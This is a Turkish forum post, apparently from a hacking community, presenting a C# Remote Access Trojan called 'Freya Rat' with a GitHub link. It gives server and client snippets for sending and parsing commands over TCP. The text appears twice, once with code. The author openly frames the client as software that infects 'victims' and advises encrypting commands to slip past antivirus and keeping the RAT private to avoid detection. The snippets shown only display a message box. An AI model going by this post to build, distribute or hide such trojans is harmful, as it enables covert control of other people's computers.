Selamlar, uzun bir aradan sonra tekrardan aranızdayım. Eskisi gibi olmasa da arada bu tarz proje paylaşımlarına tekrar başlamaya karar verdim. Neyse, uzatmadan konuya geçelim.
Rat nedir diye anlatmayacağım burada. Zaten bilmeyenin olduğunu düşünmüyorum.
Bilmeyenler için:
İki adet uygulamadan oluşuyor proje. Biri Server Side diğeri Client Side. Server adı üstünde kurbanları yöneteceğimiz, komutlar göndereceğimiz uygulama, Client ise Kurbanların sistemine bulaşacak olan uygulama.
Komut göndermenin yöntemi iki projenin kodlarında da var zaten. Onu kullanarak komut gönderme ve cevap almayı halledersiniz herhalde.
Şimdi size komut göndermenin ve gelen cevapları yorumlamanın mantığını öğreteyim.
Kullanacağımız yöntem String.Split(); olacak. Bununda nasıl kullanılacağını yazmayacağım hemen altta kaynak ekledim.
Şimdi Serverdan Client'a MessageBox çıkarması için komut göndermek istiyoruz diyelim:
Peki Clientta bunu nasıl kullanacağız? Şu şekilde:
string.Split() methodunu bildikten sonra çokta komplike birşey yok aslında. Sadece komutu gönderecek ve bir cevap alacaksınız. Ve evet, hazır kodlarla RAT kodlamak bu kadar kolay.
Son olarak söyleyeceğim birkaç tavsiye var, bunlarda kendi ratını çıkaracak olanlara.
Eğer Rat'ın hemen tespit edilmesini istemiyorsanız başkalarıyla paylaşmayın benim yaptığım gibi. Kendinize saklayın, kendiniz kullanın. Ya da paylaşın, bana giren çıkan yok.
Eğer Ratı geliştirecekseniz komutları kesinlikle şifreleyerek gönderin. Diğer türlü antiler gene yakalayacaktır clientı. Tabii bir kaç yöntem daha var bildiğim ancak onlarıda paylaşmayayım. Eğer takıldığınız, merak ettiğiniz herhangi bir şey olursa lütfen konu altında yorumlarda yazın. Dmlere bakamıyorum.
Github:
//Kolay gelsin.
Rat nedir diye anlatmayacağım burada. Zaten bilmeyenin olduğunu düşünmüyorum.
Bilmeyenler için:
Remote Access Trojan (RAT) | RAT Malware | RAT Trojans | Malwarebytes Labs
Get everything you need to know about Remote Access Trojans (RAT) from what are they, the history of RAT, common infection methods, how to remove them & much more.
www.malwarebytes.com
İki adet uygulamadan oluşuyor proje. Biri Server Side diğeri Client Side. Server adı üstünde kurbanları yöneteceğimiz, komutlar göndereceğimiz uygulama, Client ise Kurbanların sistemine bulaşacak olan uygulama.
Komut göndermenin yöntemi iki projenin kodlarında da var zaten. Onu kullanarak komut gönderme ve cevap almayı halledersiniz herhalde.
Şimdi size komut göndermenin ve gelen cevapları yorumlamanın mantığını öğreteyim.
Kullanacağımız yöntem String.Split(); olacak. Bununda nasıl kullanılacağını yazmayacağım hemen altta kaynak ekledim.
C# String Split() (With Examples)
The Split() method returns substrings of a string that are separated by elements of a specified string or character array. In this tutorial, we will learn about the C# String Split() method with the help of examples.
www.programiz.com
Şimdi Serverdan Client'a MessageBox çıkarması için komut göndermek istiyoruz diyelim:
C#:
if (listBox1.SelectedIndex != -1)
{
String clientName = listBox1.GetItemText(listBox1.SelectedItem);
chat.Clear();
chat.Add("gChat");
chat.Add("MSGBOX" + "|" + "Error" + "|" + "Mesajın içeriği buraya" + "|" + "Mesajın başlığı buraya");
byte[] byData = ObjectToByteArray(chat);
TcpClient workerSocket = null;
workerSocket = (TcpClient)clientList.FirstOrDefault(x => x.Key == clientName).Value;
NetworkStream stm = workerSocket.GetStream();
stm.Write(byData, 0, byData.Length);
stm.Flush();
chat.Clear();
}
Peki Clientta bunu nasıl kullanacağız? Şu şekilde:
C#:
string data = "MSGBOX" + "|" + "Error";
String[] spl = data.Split('|');
switch (spl[0])
{
case "MSGBOX":
switch (spl[1])
{
case "Error":
MessageBox.Show(spl[2], spl[3], MessageBoxButtons.OK, MessageBoxIcon.Error);
break;
}
break;
}
string.Split() methodunu bildikten sonra çokta komplike birşey yok aslında. Sadece komutu gönderecek ve bir cevap alacaksınız. Ve evet, hazır kodlarla RAT kodlamak bu kadar kolay.
Son olarak söyleyeceğim birkaç tavsiye var, bunlarda kendi ratını çıkaracak olanlara.
Eğer Rat'ın hemen tespit edilmesini istemiyorsanız başkalarıyla paylaşmayın benim yaptığım gibi. Kendinize saklayın, kendiniz kullanın. Ya da paylaşın, bana giren çıkan yok.
Eğer Ratı geliştirecekseniz komutları kesinlikle şifreleyerek gönderin. Diğer türlü antiler gene yakalayacaktır clientı. Tabii bir kaç yöntem daha var bildiğim ancak onlarıda paylaşmayayım. Eğer takıldığınız, merak ettiğiniz herhangi bir şey olursa lütfen konu altında yorumlarda yazın. Dmlere bakamıyorum.
Github:
GitHub - Atalayagiz/CSharp-Freya-Rat-Base-Version-Easiest-Server-Client-Connection: Freya Rat is a RAT (Remote Access Trojan) application written in CSharp language in a very easy and understandable way. It easily creates a Server - Client connection
Freya Rat is a RAT (Remote Access Trojan) application written in CSharp language in a very easy and understandable way. It easily creates a Server - Client connection and can send commands. - Atala...
github.com
//Kolay gelsin.
Son düzenleme: